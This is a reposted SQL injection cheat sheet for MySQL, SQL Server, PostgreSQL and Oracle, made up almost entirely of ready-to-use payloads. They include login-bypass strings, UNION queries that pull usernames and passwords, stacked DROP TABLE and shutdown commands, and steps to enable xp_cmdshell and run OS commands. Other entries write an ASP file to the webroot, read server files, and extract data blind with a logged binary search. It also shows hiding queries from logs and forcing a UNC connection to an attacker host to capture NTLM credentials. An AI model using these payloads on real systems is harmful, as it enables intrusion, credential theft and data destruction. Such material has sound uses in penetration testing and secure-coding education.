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SQL Injection Cheat Sheet, Document Version 1.4
Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.
Samples
are provided to allow reader to get basic idea of a potential attack
and almost every section includes a brief information about itself.
| M : | MySQL |
| S : | SQL Server |
| P : | PostgreSQL |
| O : | Oracle |
| + : | Possibly all other databases |
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
-- (SM)
DROP sampletable;--
# (M)
DROP sampletable;# admin‘-- SELECT * FROM members WHERE username = ‘admin‘--‘ AND password = ‘password‘
This is going to log you as admin user, because rest of the SQL query will be ignored. Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
/*Comment Here*/ (SM)
DROP/*comment*/sampletable DR/**/OP/*bypass blacklisting*/sampletable SELECT/*avoid-spaces*/password/**/FROM/**/Members /*! MYSQL Special SQL */ (M) SELECT /*!32302 1/0, */ 1 FROM tablename 10; DROP TABLE members /* 10; DROP TABLE members -- SELECT /*!32302 1/0, */ 1 FROM tablename /*!32302 10*/ 10 SELECT /*!32302 1/0, */ 1 FROM tablename Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
; (S) SELECT * FROM members; DROP members-- Ends a query and starts a new one.
green: supported, dark gray: not supported, light gray: unknown
| SQL Server | MySQL | PostgreSQL | ORACLE | MS Access | |
| ASP | |||||
| ASP.NET | |||||
| PHP | |||||
| Java |
About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn‘t support stacked queries, Java doesn‘t support stacked queries (I‘m sure for ORACLE, not quite sure about other databases). Normally
MySQL supports stacked queries but because of database layer in most of
the configurations it’s not possible to execute second query in
PHP-MySQL applications or maybe MySQL client supports this, not quite
sure. Can someone clarify?
10;DROP members -- SELECT * FROM products WHERE id = 10; DROP members-- This will run DROP members SQL sentence after normal SQL Query.
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
IF(condition,true-part,false-part) (M)
SELECT IF(1=1,‘true‘,‘false‘) IF condition true-part ELSE false-part (S) IF (1=1) SELECT ‘true‘ ELSE SELECT ‘false‘ if ((select user) = ‘sa‘ OR (select user) = ‘dbo‘) select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER (SM) SELECT CHAR(0x66) (S) SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) SELECT 0x50 + 0x45 (this is integer now!) (M) String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
+ (S) SELECT login + ‘-‘ + password FROM members || (*MO) SELECT login || ‘-‘ || password FROM members *About MySQL "||";
If
MySQL is running in ANSI mode it’s going to work but otherwise MySQL
accept it as `logical operator` it’ll return 0. Better way to do it is
using CONCAT() function in MySQL.
CONCAT(str1, str2, str3, ...) (M) SELECT CONCAT(login, password) FROM members These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
0x457578 (M) - Hex Representation of string SELECT 0x457578 SELECT CONCAT(‘0x‘,HEX(‘c:\\boot.ini‘)) CONCAT() in MySQL SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) ASCII() (SMP) SELECT ASCII(‘a‘) CHAR() (SM) SELECT CHAR(64) With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example : ‘ UNION SELECT 1, ‘anotheruser‘, ‘doesnt matter‘, 1--
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It‘s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation. SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members Hex() for every possible issue SQL Injection 101, Login tricks
admin‘ -- admin‘ # admin‘/* ‘ or 1=1-- ‘ or 1=1# ‘ or 1=1/* ‘) or ‘1‘=‘1-- ‘) or (‘1‘=‘1-- ‘ UNION SELECT 1, ‘anotheruser‘, ‘doesnt matter‘, 1-- *Old versions of MySQL doesn‘t support union queries
If application is first getting the record by username and then compare returned MD5 with supplied password‘s MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Username : admin
Password : 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin‘, ‘81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
In the same order,
HAVING 1=1 -- ‘ GROUP BY table.columnfromerror1 HAVING 1=1 -- ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on Finding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1-- ORDER BY 2-- ORDER BY N-- so on ‘ union select sum(columntofind) from users-- (S) Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07‘
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. SELECT
* FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL,
convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULl, NULL-- 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –- Microsoft OLE DB Provider for SQL Server error ‘80040e07‘
Explicit conversion from data type int to image is not allowed. You’ll get convert() errors before union target errors ! Sostart withconvert() then union
‘; insert into users values( 1, ‘hax0r‘, ‘coolpass‘, 9 )/*
@@version (MS)
Version
of database and more details for SQL Server. It‘s a constant. You can
just select it like any other column, you don‘t need to supply table
name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ‘‘+SUBSTRING(@@version,1,10) ,10)
Insert a file content to a table. If you don‘t know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
Write text file. Login Credentials are required to use this function. bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate ‘wscript.shell‘, @o out
exec sp_oamethod @o, ‘run‘, NULL, ‘notepad.exe‘ Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell‘, @o out exec sp_oamethod @o, ‘run‘, NULL, ‘notepad.exe‘ --
Well known trick, By default it‘s disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:‘
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell ‘ping ‘
You can not read results directly from error or union or something else.
master..sysmessages master..sysservers masters..sysxlogins sys.sql_logins
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe‘;IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,‘x‘/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
When you really pissed off, ‘;shutdown --
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure ‘show advanced options‘,1
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell‘,1
RECONFIGURE
SELECT name FROM sysobjects WHERE xtype = ‘U‘
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames‘)
NOT IN or NOT EXIST,
... WHERE users NOT IN (‘First User‘, ‘Second User‘)
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name
from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE
i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
sysobjects i WHERE xtype=‘U‘ and i.id<=o.id) AS x, name from
sysobjects o WHERE o.xtype = ‘U‘) as p where p.x=21
‘;BEGIN DECLARE @rt varchar(8000) SET @rd=‘:‘
SELECT @rd=@rd+‘ ‘+name FROM syscolumns WHERE id =(SELECT id FROM
sysobjects WHERE name = ‘MEMBERS‘) AND name>@rd SELECT @rd AS rd into
TMP_SYS_TMP end;--
Detailed Article : Fast way to extract data from Error Based SQL Injections
In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in
the output in any kind. This can be an injection a logging function or
similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10‘ in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--
Since both of the last 2 queries failed we clearly know table name‘s first char‘s ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.
First of all use this if it‘s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY ‘0:0:10‘--
Also you can use fractions like this,
WAITFOR DELAY ‘0:0:0.51‘
if (select user) = ‘sa‘ waitfor delay ‘0:0:10‘ 1;waitfor delay ‘0:0:10‘-- 1);waitfor delay ‘0:0:10‘-- 1‘;waitfor delay ‘0:0:10‘-- 1‘);waitfor delay ‘0:0:10‘-- 1));waitfor delay ‘0:0:10‘-- 1‘));waitfor delay ‘0:0:10‘-- Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
IF EXISTS (SELECT * FROM users WHERE username = ‘root‘) BENCHMARK(1000000000,MD5(1))
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Sleep for supplied seconds.
SELECT pg_sleep(10);
SQL Server don‘t log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it‘s possible)
These tests are simply good for blind sql injection and silent attacks.
product.asp?id=4 (SMO) product.asp?id=5-1 product.asp?id=4 OR 1=1
product.asp?name=Bookproduct.asp?name=Bo’%2b’ok product.asp?name=Bo’ || ’ok (OM) product.asp?name=Book’ OR ‘x’=’x SELECT User,Password FROM mysql.user; SELECT 1,1 UNION SELECT
IF(SUBSTRING(Password,1,1)=‘2‘,BENCHMARK(100000,SHA1(1)),0)
User,Password FROM mysql.user WHERE User = ‘root’; SELECT ... INTO DUMPFILE
Write query into a new file (can not modify existing files) create function LockWorkStation returns integer soname ‘user32‘; select LockWorkStation();
create function ExitProcess returns integer soname ‘kernel32‘; select exitprocess(); SELECT USER(); SELECT password,USER() FROM mysql.user; SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1; query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 create table foo( line blob );
load data infile ‘c:/boot.ini‘ into table foo;
select * from foo; select benchmark( 500000, sha1( ‘test‘ ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 select if( user() like ‘root@%‘, benchmark(100000,sha1(‘test‘)), ‘false‘ );
Enumeration data, Guessed Brute Force
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test‘)), ‘false‘ ); MD5()
SHA1()
PASSWORD() ENCODE() COMPRESS()
ROW_COUNT() SCHEMA() VERSION()
@@version Basically you put an SQL Injection to some place and expect it‘s unfiltered in another action. This is common hidden layer problem.
Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘
Email : xx@xx.com
If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
This attack can help you to get SQL Server user‘s Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
bulk insert foo from ‘\\YOURIPADDRESS\C$\x.txt‘ Check out Bulk Insert Reference to understand how can you use bulk insert.
Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I‘ll update it as soon as possible.
Find and exploit SQL Injections with Free Web Application Security Scanner
I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just drop me an email (ferruh-at-mavituna.com).
转载自：http://ferruh.mavituna.com/sql-injection-cheatsheet-oku
原文：http://www.cnblogs.com/hongfei/p/SQLInjectionCheatSheet.html